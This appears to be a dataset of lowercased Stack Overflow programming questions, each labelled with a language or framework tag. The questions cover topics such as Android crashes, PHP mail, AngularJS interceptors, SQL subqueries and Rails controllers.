why does my android app crashes on start directly after install   some clients experience an app crash directly when they launch it.     here s the code of the oncreate() method in the main activity :    <pre><code>public void oncreate(bundle savedinstancestate) {      super.oncreate(savedinstancestate);      string deviceid = local.getuniqueid(this);      thread.setdefaultuncaughtexceptionhandler(new customexceptionhandler(deviceid));      setcontentview(r.layout.main); } </code></pre>   and <code>getuniqueid()</code> does that :   <pre><code>public static string getuniqueid(context context) {      return secure.getstring(context.getcontentresolver()  secure.android_id); } </code></pre>   is it possible that this call makes the app crash   may i call this in <code>oncreate()</code>   or is it <code>thread.setdefaultuncaughtexceptionhandler()</code> that crashes      the users who experience this problem don t even see the splashscreen of the app and i was unable to reproduce the problem on any device i own.    <code>customexceptionhandler</code> just get the stack trace of the exception/error and sends it to the server with the device id. i got a device id from a user who experienced the problem and it s not in the database.    any idea  i never had that problem along the development on any device. what could be the cause of this  don t hesitate to ask for more details. thanks    edit: i think i found what would be the stacktrace when the application crashes :    <pre><code>e/androidruntime(10067): fatal exception: main e/androidruntime(10067): java.lang.runtimeexception: unable to instantiate application android.app.application: java.lang.nullpointerexception e/androidruntime(10067):    at android.app.loadedapk.makeapplication(loadedapk.java:482) e/androidruntime(10067):    at android.app.activitythread.handlebindapplication(activitythread.java:3909) e/androidruntime(10067):    at android.app.activitythread.access$1300(activitythread.java:122) e/androidruntime(10067):    at android.app.activitythread$h.handlemessage(activitythread.java:1184) e/androidruntime(10067):    at android.os.handler.dispatchmessage(handler.java:99) e/androidruntime(10067):    at android.os.looper.loop(looper.java:137) e/androidruntime(10067):    at android.app.activitythread.main(activitythread.java:4340) e/androidruntime(10067):    at java.lang.reflect.method.invokenative(native method) e/androidruntime(10067):    at java.lang.reflect.method.invoke(method.java:511) e/androidruntime(10067):    at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:784) e/androidruntime(10067):    at com.android.internal.os.zygoteinit.main(zygoteinit.java:551) e/androidruntime(10067):    at dalvik.system.nativestart.main(native method) e/androidruntime(10067): caused by: java.lang.nullpointerexception e/androidruntime(10067):    at android.app.loadedapk.initializejavacontextclassloader(loadedapk.java:362) e/androidruntime(10067):    at android.app.loadedapk.getclassloader(loadedapk.java:305) e/androidruntime(10067):    at android.app.loadedapk.makeapplication(loadedapk.java:474) e/androidruntime(10067):    ... 11 more </code></pre>,android
linebreaks in php mail(): \n  \\n and \r\n dont work  this is on a lamp server.    all the answers i ve found online suggest that one of the above should work  but i cant get it working.    my code is:   <pre><code>$to      =  $email_to; $subject =  website form ; $message =  from:   . $name .     \r\n date:   .  $date .     \r\ntext:   .  $text .    \r\n use on presentations :   . $presentations .    \r\n use on websites :   . $website .    \r\n use on case studies :   . $casestudy;  $headers =  from: website@website.com  .  \r\n  .      reply-to: no-reply@website.com  .  \r\n  .      x-mailer: php/  . phpversion();  mail($to  $subject  $message  $headers); </code></pre>   would anyone know what i ve done wrong,php
can i call setcontentview() method in getview() method of android   can i call <code>setcontentview()</code> method in a <code>getview()</code> method  if so  how <br> actually  i have a list that i am using to show some views like textview  imageview  and button. now on a button click event i want to show some other view. here is my code:   <pre><code>button select = (button)findviewbyid(r.id.button1); select.setonclicklistener(new onclicklistener() {   public void onclick(view arg0) {      setcontentview(r.layout.search);   } }); </code></pre>   but it is giving me a syntax error because i am using this method in a baseadapter class.    is there any other way to do this.     thanks in advance.,android
asp.net passing data between multiple pages session  so there seems not be any pretty answer to the question of how pass data between multiple pages. after having done a little homework here s why (or at least what i ve gleaned):   <ol> <li>viewstate variables don t persist across pages.<br/></li> <li>session variables are volatile and must be used sparingly.<br/></li> <li>cookies have potential safety issues and take time and must be kept small.<br/></li> <li>storing vars in the url has limits to the amount of data and can be unsafe.<br/></li> <li>storing vars temporarily in a db is a real pita because you add one table per object that might be potentially passed to another page.<br/> <br/>  so far it is looking like i will be using hidden fields to pass a keyid and unique id to the next page and then retrieve the data from the db. what are your thoughts on all of this  what is the best way to go about doing any of it  i am early in the development of this app  so making changes now is preferred. </li> </ol>  edit: i am anticipating a lot of users using this application at any one time  does that affect whether or not i should be using sql server based session,asp.net
how to install iphone sdk 3 and iphone sdk 4 on same mac  i need to install iphone sdk 3 and iphone sdk 4 on same mac  for testing purposes because some of my iphone sdk 3 project are not working on iphone sdk 4.     thanks saurabh,iphone
how to do an in with a subquery returning 2 columns   i have this query   <pre><code>select * from guitars.fender where fender.guitartype in ( select guitartype guitarsubtype from guitars.guitar_type where guitarcolor =  red ) </code></pre>   i can get it to run when i m only doing guitartype in the subquery but not both guitartype guitarsubtype.,sql
translator output problems  i am making a gibberish translator where you input a word and the console outputs the word in gibberish. the parameters of the gibberish language are if the word has any vowels in it you put  ab  infront of that vowel. for example  hello  in gibberish would be  h-ab-ell-ab-o . although i m having a problem (please go easy on me if you find this code messy or not well written. im just learning)    this is my code:   <pre><code>int quit = 2; int i; bool vowel; string word; string letter = &amp;word[int (i)];  void translation() {  cout &lt;&lt;  enter a word:   &lt;&lt; endl; cin &gt;&gt; word; for (int i = 0; i &lt;= 20; ++i) {      if (letter ==  a ) {          cout &lt;&lt;  ab  &lt;&lt; letter;     }     if (letter ==  e ) {          cout &lt;&lt;  ab  &lt;&lt; letter;     }     if (letter ==  i ) {          cout &lt;&lt;  ab  &lt;&lt; letter;     }     if (letter ==  o ) {          cout &lt;&lt;  ab  &lt;&lt; letter;     }     if (letter ==  u ) {          cout &lt;&lt;  ab  &lt;&lt; letter;     } else {          cout &lt;&lt; letter ;     }  } }  void again() {  cout &lt;&lt;  enter 1 to translate another word  enter 0 to quit  &lt;&lt; endl; cin &gt;&gt; quit; }  int main() {  while (quit &gt;= 1) {     translation();     again(); }     return 0; } </code></pre>   say  when it prompts you to put in a word like this:   <pre><code>enter a word: </code></pre>   you put in the word hello  it should output this:   <pre><code>enter a word: hello  habellabo  enter 1 to translate another word  enter 0 to quit </code></pre>   but my program outputs this:   <pre><code>enter a word:  hello enter 1 to translate another word  enter 0 to quit </code></pre>   why isn t it outputting the translated word,c++
java constructors or new class  hey i am new java so forgive me if what i am about to ask is obvious  but i will try to explain as best as i can.     its just a project that has been set for university so its not in a serious manner.     i have a class called marsroom which holds the attributes say for all the dimensions of the room like the totalheight and width of the walls in order to calculate the heat loss that the room will suffer in order to adjust the amount of solar energy that is needed to keep the room at the room temperature set.     the problem i am having is what is better practice or solution  to pass the attributes of the size of the room in a constructor(but this could get quite long in size  as the ones below are not only the ones that i may need) or create a whole different class specifically for that room like room type u  and set the attributes in there.     as it stands i can create a whole new room just by instantiating the room with the new values  but its going to get a little long  whereas i would rather not create a whole new class for a different room which may only differ from another room by a few meters on one of the walls!.    so what i am really trying to get at it  is is it ok to pass that many attributes to the constructor on instantiation    <pre><code>//the instantiation in the runnable marsroom room1 = new marsroom( roomu   40  40  20  20  8  2  4);  //the constructor in the marsroom class public marsroom(string roomname  int windowsh  int windowsw  int wallsh  int wallsw  int windowc  int heaters  int lights){     name = roomname;     totalwindowheight = windowsh;     totalwindowwidth = windowsw;     totalwallheight = wallsh;     totalwallwidth = wallsw;     windowceiling = windowc;     numheaters = heaters;     numlights = lights;      roomheaters = new heaters[numheaters]; } </code></pre>,java
httpinterceptor angular js  here is my code for httpinterceptor  basically i want to intercept all http calls and append token the request. i followed this <a href= https://auth0.com/blog/2014/01/07/angularjs-authentication-with-cookies-vs-token/  rel= nofollow >post</a>    what am i doing wrong here    <pre><code>   angular.module( app   []).factory( authinterceptor   function ($rootscope  $q  $window) {     return {         request: function (config) {             config.headers = config.headers || {};             if ($window.sessionstorage.token) {                 config.headers.authorization =  bearer   + $window.sessionstorage.token;             }             return config;         }          response: function (response) {             if (response.status === 401) {                 // handle the case where the user is not authenticated             }             return response || $q.when(response);         }     }; }).config(function ($httpprovider) {     $httpprovider.interceptors.push( authinterceptor ); }); </code></pre>   i get a error    <pre><code>error: [$injector:unpr] unknown provider: commonprovider &lt;- common </code></pre>,angularjs
is there any way to pass an argument to addeventlistener   i m trying to hide all elements in a class (logos) except the element that is clicked on. so i wrote this out only to realize that it s impossible to pass arguments to functions activated by addeventlistener! this seems... inflexible to say the least. is there another obvious way to pass an argument that i m blind to (i m pretty new to javascript)     <pre><code>&lt;!doctype html&gt; &lt;head&gt; &lt;link rel= stylesheet  type= text/css  href= index.css &gt; &lt;title&gt;sexism in silicon valley&lt;/title&gt; &lt;/head&gt; &lt;body id= body1 &gt; &lt;div class= parent &gt;     &lt;img src= kstartup.png  class= logos  id= id1 &gt;     &lt;img src= uber.png  class= logos  id= id2 &gt;     &lt;img src= kpcb.png  class= logos  id= id3 &gt;     &lt;img id= id4  src= r1startup.png  class= logos &gt; &lt;/div&gt; &lt;div class= parent  id= parent2 &gt;     &lt;img src= zillow.png  class= logos  id= id5 &gt;     &lt;img src= github.png  class= logos  id= id6 &gt;     &lt;img src= tinde.png  class= logos  id= id7 &gt;     &lt;img src= snapchat.png  class= logos  id= id8 &gt; &lt;/div&gt; &lt;script src= index.js &gt;&lt;/script&gt; &lt;/body&gt;  &lt;/html&gt; </code></pre>   javascript:   <pre><code>function click(x) {     for (var i = 0; i &lt; logos.length; i++) {         if (x !== i) {         logos[i].style.display =  hidden ;         }     }  }  var logos = document.getelementsbyclassname( logos ); for (var i = 0; i &lt; logos.length; i++) {     logos[i].addeventlistener( click   click(i)); } </code></pre>,javascript
rails content_tag vs tag  what s the difference between <code>content_tag</code> and <code>tag</code> in rails  from what i ve read  it seems that <code>content_tag</code> requires content to be passed to it.     why does this matter  what s different syntactically  as well as what cases would i use one vs the other,ruby-on-rails
using :order and :limit options - ruby on rails  is there any way i can use the :limit and :order options in the find method. i m trying to sort activities by descending order  such that the newest activities are shown. however  when i try to use the (:all  :limit => 5  :order=>  date desc) i get an error.  i need to limit to only 5 records  and when i disregard the order option  it works but not what i need...    thanks,ruby-on-rails
problems when using ef reverse poco generator generated models  i m using asp.net default membership provider to create a website.  i used  ef reverse poco generator  and got some csharp code of build-in membership tables  i removed some classes and kept only applications  memberships  profiles  roles and users.  the problem is i cannot use them because of exceptions throwing when the database is initialized. the first exception i encountered is complaining missing the primary key  i added [key] annotation to the primary field  problem solved.    then i got the second error seems complaining missing foreign keys:    <em>unable to determine the principal end of an association between the types  gohome.models.memberships  and  gohome.models.users . the principal end of this association must be explicitly configured using either the relationship fluent api or data annotations.</em>    looks like can be solved by adding [foreignkey]  but after that i still got the third one  which i cannot find a solution in google:    *introducing foreign key constraint  fk_dbo.rolesusers_dbo.users_users_userid  on table  rolesusers  may cause cycles or multiple cascade paths. specify on delete no action or on update no action  or modify other foreign key constraints.*     quite odd  as looks to me there is no table called  rolesusers  at all.     i only added two [foreignkey] in memberships and profiles respectively  which resulted in the third error. here is the code:   <pre><code>// memberships public class memberships {     //[foreignkey( applications )]     public guid applicationid { get; set; } // applicationid     [key]     [foreignkey( users )]     public guid userid { get; set; } // userid (primary key)     public string password { get; set; } // password     public int passwordformat { get; set; } // passwordformat     public string passwordsalt { get; set; } // passwordsalt     public string email { get; set; } // email     public string passwordquestion { get; set; } // passwordquestion     public string passwordanswer { get; set; } // passwordanswer     public bool isapproved { get; set; } // isapproved     public bool islockedout { get; set; } // islockedout     public datetime createdate { get; set; } // createdate     public datetime lastlogindate { get; set; } // lastlogindate     public datetime lastpasswordchangeddate { get; set; } // lastpasswordchangeddate     public datetime lastlockoutdate { get; set; } // lastlockoutdate     public int failedpasswordattemptcount { get; set; } // failedpasswordattemptcount     public datetime failedpasswordattemptwindowstart { get; set; } // failedpasswordattemptwindowstart     public int failedpasswordanswerattemptcount { get; set; } // failedpasswordanswerattemptcount     public datetime failedpasswordanswerattemptwindowsstart { get; set; } // failedpasswordanswerattemptwindowsstart     public string comment { get; set; } // comment      // foreign keys     public virtual applications applications { get; set; } //  membershipapplication     public virtual users users { get; set; } //  membershipuser }  // profiles public class profiles {     [key]     [foreignkey( users )]     public guid userid { get; set; } // userid (primary key)     public string propertynames { get; set; } // propertynames     public string propertyvaluestrings { get; set; } // propertyvaluestrings     public byte[] propertyvaluebinary { get; set; } // propertyvaluebinary     public datetime lastupdateddate { get; set; } // lastupdateddate      // foreign keys     public virtual users users { get; set; } //  userprofile } </code></pre>,asp.net
i am getting  uncaught syntaxerror: unexpected token :  what am i doing wrong  <pre><code>    $.ajax({   url:  http://192.168.153.131:8080/api/stats     type:  get     datatype:  jsonp     jsonpcallback:  jsoncallback  });  function jsoncallback(response) {   console.log(json.parse(response)); } </code></pre>   i have a server that is serving json to this url and cors is not able to be enabled so i need a way to get around that. i was trying to use jsonp but i cannot seem to get it to work.    this is the response that i am getting in the google chrome console:     <code>{ time :1516239458  global :{ workers :0  hashrate :0}  algos :{ scrypt-n :{ workers :0  hashrate :0  hashratestring : 0.00 kh }}  pools :{ garlicoin :{ name : garlicoin   symbol : grlc   algorithm : scrypt-n   poolstats :{ validshares : 198   validblocks : 1   invalidshares : 7   totalpaid :0}  blocks :{ pending :1  confirmed :0  orphaned :0}  workers :{}  hashrate :0  workercount :0  hashratestring : 0.00 kh }}}</code>    which appears to be valid but it still throws an error.,javascript
detecting end of background processes in c# / .net   i have a process written in c# which has no forms or output whatsoever.   <pre><code>static void main() {     mybackgroundprocess process = new mybackgroundprocess();     // begin background process     process.start();      // keep application running in the background  run events     application.run(); } </code></pre>   i need to free up some resources and do other things when the application terminates (which should only be when the user running it logs off or if it s manually killed through the task manager; the process will never terminate itself).    what s the best way to handle this     things i ve tried that haven t worked:   <ul> <li>hooking an event to both application.applicationexit and application.threadexit</li> <li>had mybackgroundprocess implement idisposable and wrapped the main logic in a using()</li> </ul>,.net
apply a background to an repeated element doesn t work on ie  better than few words  here is the code which doesn t work on ie.   <pre><code>&lt;div ng-repeat= favcolor in favcolors  class= favorite  alt= {{favcolor.name}}  title= {{favcolor.name}}  style= background:#{{favcolor.hexa}} &gt;{{favcolor.hexa}}&lt;/div&gt; </code></pre>   the css :    <pre><code>.favorite{     width: 50px;     height: 20px;     display: inline-block;     border: 1px solid black; } </code></pre>   everything is ok on other browsers  but on ie my boxes doesn t have any background color. when i replace {{favcolor.hexa}} with some hexa  it works fine...    thx.,angularjs
adding additional border to a hovered element that is floated inside a fixed with container   i have a grid of tiles  what i want to be able to do is hover a tile and add a 3px border and keep the tile positioned correctly without disrupting the other tiles around it. at the moment i m not completely sure how this can be achieved  can this be achieved using floats or would i have to absolutely position each of the tiles and then increase the z-index of the hovered tile so it stands out above the rest      also the tile dimensions have to remain the same and the border has to be outside the tile and not inset.    fiddle here: <a href= http://jsfiddle.net/z7twf/  rel= nofollow >http://jsfiddle.net/z7twf/</a>,css
c# parameters date based on day of week  i want to insert a date in parameters:             <ul> <li> if current day is monday is friday            </li> <li> if current tuesday day is monday          </li> <li> if current day is wednesday choose tuesday        </li> <li> if current day is thursday choose the environment             </li> <li> if current day is friday to select thursday </li> <li> if current saturday day is selected on friday             </li> <li> if current sunday day is friday   </li> </ul>   i have a method that selects date according to my condition above   <pre><code>public static datetime getdatebackdaystart(datetime date) {     int numweek = getnumweek(date.dayofweek.tostring());     if (numweek == 1)     {         return date.adddays(-3).date;     }     if (numweek == 7)     {         return date.adddays(-2).date;     }     else     {         return date.adddays(-1).date;     } } </code></pre>   i have a command that returns date in format:   <pre><code>cmd.parameters.add( @date1   sqldbtype.datetime).value = (datetime.today.adddays(-1).tostring( dd.mm.yyyy )); cmd.parameters.add( @date2   sqldbtype.datetime).value = (datetime.today.adddays(-1).tostring( dd.mm.yyyy )); </code></pre>   how to write condition of date substitution in parameters @date1  @date2 in format  dd.mm.yyyy  using the method getdatebackdaystart,c#
how do i print certain parts of a string array   i m writing a function that dumps a file into octal. after it reaches the limit for amount of characters on a line  it is suppose to print out the printable characters of file being passed into.    for some reason my program always prints the first 16 characters of the text file  how would i print the rest of the characters in the file     here is the text file i m using to test:   <pre><code>  asdfadsbgasdfassadfasdfsadfads  asdf  asdf  asd  v  asdf  asdf  asd  f  asdf </code></pre>   here is the output to stdout:   <pre><code>   0000000 77 141 163 144 146 141 144 163 142 147 141 163 144 146 141 163  |  asdfadsbgasdfas    0000020 163 141 144 146 141 163 144 146 163 141 144 146 141 144 163 15  |  asdfadsbgasdfas    0000040 12 141 163 144 146 15 12 141 163 144 146 15 12 141 163 144  |  asdfadsbgasdfas    0000060 15 12 166 15 12 141 163 144 146 15 12 141 163 144 146 15  |  asdfadsbgasdfas    0000100 12 141 163 144 15 12 146 15 12 141 163 144 146 15 12  asdfadsbgasdfa    0000120 </code></pre>   here is my code:   <pre><code>void octaldump(file * fp) {     int c;     size_t linecount = 0  index = 0  i;     long int address = 0;     char temp [linesize];      while((c = fgetc(fp)) != eof)     {         if(linecount == 0)         {             printf( %07o    address);             address += 16;         }         temp[index] = c;         index++;          printf( %02o    c);         linecount++;          if(linecount == 16)         {             printf(  |  );             for(i = 0; i &lt; linecount; i++)             {                 if(temp[i] &lt;= 32)                 {                     printf( . );                 }                 else                 {                     printf( %c   temp[i]);                 }             }             printf( \n );             linecount = 0;         }     }      if(linecount &lt; 16)     {         for(i = 0; i &lt; linecount; i++)         {             if(temp[i] &lt;= 32)             {                 printf( . );             }             else             {                 printf( %c   temp[i]);             }         }     }      printf( \n%07o    address); } </code></pre>,c
concept of object from c/python to object-c  i have experience on c and python  i learned the object-c today     i want to make sure if my concept is correct      i don t know why should i put a statement in a <code>bracket</code>    <code>[pt setx: 8];</code>    isn t <code>pt setx: 8</code> meaningful enough      if brackets is only for readable  why i got errors in this picture  i just want to know when should i use the bracket   and when isn t need.    <img src= https://i.stack.imgur.com/auf6a.jpg  alt= enter image description here >    is <code>pt setx: 8</code> similar to <code>pt.setx(8)</code> in python or c-like language     to  create a object     you have to define <code>.h</code> <code>.m</code>      in <code>c</code>  you can <code>define and implement</code> both in a <code>.c</code> file   but can not in object-c      if you want autorelease the object memory without explicitly free the memory in manual     just put your code in the <code>@autoreleasepool</code> block  right     <pre><code>@autoreleasepool {     mypoint* pt = [mypoint alloc];      // call constructor     pt = [pt init];     [pt print];     [pt getarea];     [pt setx: 8];     [pt sety: 99];     [pt print];     [pt getarea]; } </code></pre>   mypoint.m    // //  mypoint.m //  hello_world // //  created by poc on 2014/4/27. //  copyright (c) 2014年 poc. all rights reserved. //   <h1>import  mypoint.h </h1>  <pre><code>@implementation mypoint  - (void) print {     nslog(@ x =%i and y= %i   _x  _y); }  - (void) getarea {     nslog(@ area is %i   _x*_y); }  - (void) setx:(int)ax {     _x = ax; }  - (int) getx {     return _x; }  - (void) sety:(int)ay {     _y = ay; }  - (int) gety {     return _y; }   @end </code></pre>,objective-c
actionbar in android above target 11  can anyone help me how to display action bar with save delete email options.i dont get a clear idea when i searched in google.as i am new to tablet i dont understand how to start it in xml .how to design action bar in xml file,android
sending form with jquery and ajax after ajax request  hy i ve got a tricky problem. i have a form like   <pre><code>&lt;form name= myform  id= myform  method= post &gt; &lt;div id= box1 &gt; &lt;select name= sel1  id= sel1 &gt;...&lt;/select&gt; &lt;select name= sel2  id= sel2 &gt;...&lt;/select&gt; &lt;/div&gt; &lt;input type= submit  name= send  id= send &gt; </code></pre>   than i have a function which read the values of the select inputs  create a new select and rebuild the div box1.    so after all its like    <pre><code>&lt;select name= sel1  id= sel1 &gt;...&lt;/select&gt; &lt;select name= sel2  id= sel2 &gt;...&lt;/select&gt; &lt;select name= sel3  id= sel3 &gt;...&lt;/select&gt; &lt;select name= sel4  id= sel4 &gt;...&lt;/select&gt; </code></pre>   if i hit the submit button it will send all things from the form  except the things from the div box.    what could be the problem     if i dont recreate the div it works fine  but i want to add select inputs after one selection is made.    there is a loop which counts the name s and add one more.    thx,javascript
how do i use a contact s photo in a table view cell   i ve got an app that has a table view that displays contact information in each row. i d like to use the contact s stored image (if there is one available) as the image on the left-hand side of the cell.    i ve found some sketchy sample code in apple s documentation  but the address book references some kind of weird data type (cfdataref) that doesn t appear to correspond to the data types referenced in the table view programming guide (mainly uiimage).    this seems like a pretty basic task  but i can t seem to wrap my head around it. thanks in advance for any help you can offer.,iphone
get object from another model for method  i have the following method in a class and i need to pull an item from another model to use in this method. i cant seem to pull the item because i am using current_user to get the other item and the model does not recognize current_user. i am not sure how dry this is anyway because i have read that the model should not call current_user. here is the method...   <pre><code>class upsell   include mongoid::document   belongs_to :user   belongs_to :charges  ...    def total_fees     items = []     items &lt;&lt; (current_user.reportapprovals.first.admin_request_report_type).to_i       if self.multiple_admin == true        items &lt;&lt; self.multiple_admin_amount       end end </code></pre>   my error is that    <pre><code>undefined local variable or method `current_tenant  for #&lt;upsell:0xc82c9d39&gt; </code></pre>   i am wondering if i should set user in the model but so far that has not worked.   <pre><code>@user = user.find(params[:id]) </code></pre>,ruby-on-rails
why does text-align not only center text  but images  too   why does <code>text-align</code> center text <em>and</em> images     <img src= https://i.stack.imgur.com/wj42u.png  alt= enter image description here >    css:   <pre><code>#suppliercontainer {     width: 100%;     margin: 0 auto;      background-color: blue;  } #suppliercontainercontentholder {     background-color: yellow;     text-align: center; } </code></pre>   html:   <pre><code>&lt;div id= suppliercontainer &gt;     &lt;div id= suppliercontainercontentholder &gt;         &lt;img src= ~/shared/suppliers/default  alt= suppliers: [name removed].  /&gt;         &lt;br /&gt;          &lt;p&gt;view a complete list of our suppliers.&lt;/p&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>,css
beautiful ui ideas for ios app  i wanted to know if someone can point me out on how to accomplish some of the ios apps have done which makes the app so attractive :   <ol> <li>ness iphones app s glassy looking uitableviewcells. i dissected their app and was able to find out that they use glass images for left  right  top left corners of the cell  but not sure what property of the cell would allow you to use these images.</li> <li>localmind a app - when they introduce a new feature they have these floating hints which point to the new buttons in their ui bringing the user s attention to the new button or ui element.</li> </ol>,ios
crystal report showing error (error load report fail) on iis  my application running fine at local server with crystal report when i am publish it on iis server application interface running fine but crystal report showing error  (error load report fail). while there is no permission issue.,asp.net
reproduce windows product key input  i m starting to put together an activation dialog as part of my application. i <em>really</em> like the way microsoft did theirs recently with windows 7  more specifically the way the hyphens that separate each quintet of the product key are added and removed automatically.    after taking a quick look at it  it seems like it s a bit more difficult to implement smoothly than i had first though. that or i ve been starring at the issue for too long. is there any sample code or tutorial that reproduces this behavior for a textbox     <img src= https://i.stack.imgur.com/012ve.png  alt= alt text >,.net
how does the keyword  super  work  when called from a constructor  <pre><code>import java.io.*;  class myexception1 { static string str=  ;   public static void main(string args[])  {  bufferedreader br=new bufferedreader(new inputstreamreader(system.in));  system.out.println( enter your food );    try{  str=br.readline();  }catch(ioexception e){  system.out.println( exception has been occurred +e);  }    try{  checkfood();  }catch(badexception be){  system.out.println( exception +be);  }  }    private static void checkfood() throws badexception  {   if(str.equals( rotten )|| str.equals(  )){  system.out.println( bad food );  //throw new badexception();  throw new badexception( not eatable );  }else{  system.out.println( good food !! enjoy );   }  } }    class badexception extends exception { string food;   badexception()  {  super();   food= invalid ;  system.out.println(food);  }   badexception(string s)  {  super(s);   food=s;  }   public string geterror()  {  return food;  }  } </code></pre>   in the program  how is it that this <code>public string geterror()</code> returns the <code>food</code> variable   i have not called it anywhere     if i remove the line <code>super(s);</code>  then  not eatable  does not get printed.  but if i leave that line in  then it does get printed out.  how does this program flow work,java
how to reload the same page on a button click   with the data from database and ignoring the changes  i have an aspx page with repeater control on it used for showing the data.the user can modify the data inside the repeater but the data will not get saved until the save button is hit. i also have an undo button on the page. if the user clicks this button  i want to reload the page and discard the changes made by user (similar to undo functionality in ms office) i need to show him the same data that was shown when the page was loaded for the first time.    kindly help me with this.    thank you !,asp.net
xerces-c: transcoding of umlaute from iso8859-1 fails  i try to migrate from xerces-c 2.7 to 3.1 on my linux system. due to legacy issues we work with iso8859-1.    unfortunately all german umlaute are transformed to 0xfdfd and the data in my dom are invalid when i use sth. like:   <pre><code>xmlch* funicodeform =xmlstring::transcode( äöü ); </code></pre>   will be transformed to 0xfdfd 0xfdfd 0xfdfd 0x0000.    the transcoding worked well with xerces-c 2.7    thanks in advance,c++
error: missing template carts/destroy  i get this error:   <blockquote>    missing template carts/destroy  application/destroy with {:locale=>[:en]  :formats=>[:html]  :variants=>[]  :handlers=>[:erb  :builder  :raw  :ruby  :jbuilder  :coffee]}.   </blockquote>   i have this code in cart_controller:    <pre><code> def destroy    @cart = cart.find(params[:id])    @cart.destroy    session[:cart_id] = nil    respond_to do |format|      format.html { redirect_to(store_url  :notice =&gt;  your cart is      currently empty ) }      format.xml { head :ok }    end  end </code></pre>   in app_controller:   <pre><code>private def current_cart   cart.find(session[:cart_id])   rescue activerecord::recordnotfound   cart = cart.create   session[:cart_id] = cart.id   cart end </code></pre>   in view:   <pre><code>&lt;%= button_to  empty cart   @cart  :method =&gt; :delete  :confirm =&gt;  are you sure   %&gt; </code></pre>   i have the destroy method to take the action but the above error occurs. where is the problem,ruby-on-rails
a command is working in cmd but not working in c++ program using system() function  i m using visual studio 2013    i m trying to run cmd commands from a c++ program  but some of the commands are working properly in cmd but not working in the c++ program. for example  <code>btdiscovery -s</code> is working in cmd  but not as <code>system( btdiscovery -s )</code> from my c++ program. the error is:   <blockquote>     btdiscovery  is not recognized as internal or external command  operable program or batch file.  </blockquote>   why would this be happening  and how can i fix this,c++
list view of certain files on sd card for android  i am trying to create a mp3 player as an android app and i want to have it that it will automatically find any .mp3 file in my my files folder. i don t want to have a direct path to a music folder as i will include a link to dropbox  where i can download a .mp3 file that is already on it. this will go to a download folder and i want my mp3 player to pick it up for me.    how could i do this  any help would be much appreciated.,android
read file with ip range and see if supplied ip matches any range in file  i am trying to read a file with ip/mask ranges and if the supplied ip matches any range in the file it will return with true or similar function. here is the code i have below   <pre><code>function myip2long($ip) {      if (is_numeric($ip)) {          return sprintf( %u   floatval($ip));      } else {          return sprintf( %u   floatval(ip2long($ip)));      }   }  function ipfilter($ip) {      $match = 0;       $ip_addr = decbin(myip2long($ip));       if (file_get_contents( ./countryip/all-zones/us.zone )) {          $source = file( ./countryip/all-zones/us.zone );           foreach ($source as $line) {               $network = explode( /   $line);              $net_addr = decbin(myip2long($network[0]));              $cidr = $network[1];               if (substr($net_addr  0  $cidr) == substr($ip_addr  0  $cidr)) {                  $match = 1;                  break;              }          }      }      return $match;   }   $user_ip = $_server[ remote_addr ];    if (ipfilter($user_ip) == 1)  echo  &lt;br /&gt;allowed! your ip is a united states ip! ;   else echo  deny! ; </code></pre>   an example file (like the one in the example above) is available here <a href= http://www.ipdeny.com/ipblocks/data/countries/us.zone  rel= nofollow >http://www.ipdeny.com/ipblocks/data/countries/us.zone</a>    not sure if the code above is correct  i got it from here  <a href= http://www.php.net/manual/en/function.ip2long.php#86793  rel= nofollow >http://www.php.net/manual/en/function.ip2long.php#86793</a>,php
nzec error in spoj using python  i have been trying to submit this program to spoj but it keeps giving me an nzec. i have tested it in my computer and it returns the corect results. can anybody tell me what s wrong with it  this is how the input looks like: <a href= http://www.spoj.com/problems/servs/  rel= nofollow >http://www.spoj.com/problems/servs/</a> and this is my code:   <pre><code>import numpy as np import sys   input=sys.stdin.readlines() w = []  for line in input:     lst = line.strip().split(   )     w.append(int(lst[0])) z=w[1:] size = len(z) m = np.zeros((len(z) len(z)))  for i in range(size-1  -1  -1):     for j in range(size-1  i-1  -1):         if i == size-1:             m[i j] = z[i]         else:             if j &gt; i:                 m[i j] = m[i+1 j] + [j-i]             elif j == i:                 m[i j] = z[i] + m[j+1  (j+1):].min() cost = int(m[j  j:].min()) print cost </code></pre>   any help is much appreciated.,python
select from table with two conditions  i m stuck with a query and i d need some help.    i need to select values from a table which meets two conditions from other table  for example:   <pre><code>select * from table1  where id =  (select id from table2)  and value = (select value from table2) </code></pre>   so  if i d need only one value from the table  i could query:   <pre><code>select * from table1 where id =  (id1) and value = (value1) </code></pre>   the only solution that i know is using in  but it wouldn t be the requested solution.    i need something similar to this  but counting that the data returned by table2 is not only one row  but multiple.    could somebody give me some clue on how to find this     thanks.,sql
how to set users  all privileges to a path using asp.net c#   how can i authorize the users  all privileges to a path in a asp.net web app  just like the operation that i right-click a path  set users  all privileges in the security tab.,asp.net
how can get sequence match count in nsstring objects by using nscharacterset class   always i have a mind thanks for your help..    i m trying to count sequence matchs nsstring objects by using nscharacterset class.    it seems difficult question...   <pre><code>nsstring *stringfirst = @ abcdefghi ;  &lt;= sequence characters. nsstring *stringsecond = @ dghij ;  // stringsecond object compare sequence in stringfirst object. // result is following.  result : 2   (because stringsecond object d -&gt; g sequence no matching in stringfirst                g -&gt; h matches     so count : 1               h -&gt; i matches     so count : 2               i -&gt; j no matches  so count : 2) </code></pre>   gentleman  please help..,objective-c
can i get the referrer with javascript   i am creating a badge for my website.    <strong>update and change the question body</strong>    i m trying to send the url of the page that contain my badge back to my site when someone clicks the badge.,javascript
mixed mode assembly cannot be loaded  all my projects are setup to use .net 4.5.1 the test project uses some sql server assemblies targeting.net v2.0.50727.    app.config:   <pre><code>&lt;startup uselegacyv2runtimeactivationpolicy= true &gt;         &lt;supportedruntime  version= v2.0.50727 /&gt;         &lt;supportedruntime version= v4.0  sku= .netframework version=v4.5.1 /&gt;    &lt;/startup&gt; </code></pre>   i also checked this thread among others: <a href= https://stackoverflow.com/questions/6425707/mixed-mode-assembly-is-built-against-version-v2-0-50727-of-the-runtime >mixed mode assembly</a>,.net
touchesmoved method should read the uibutton title  i have 10 buttons on a <strong>uiview</strong>. if i swipe on the buttons starting from button 1 to 10 without removing my finger  i want to read the title label of the buttons as the finger moves on each button. just imagine a swipe keyboard.     is there a better approach instead of touches moved,objective-c
sql query to retrieve fname and last name and populate last name in fname field in result if last name is not present for an employee  looking for sql query to retrieve fname and last name with a condition to populate last name in fname field in result if last name is not present for an employee.,sql
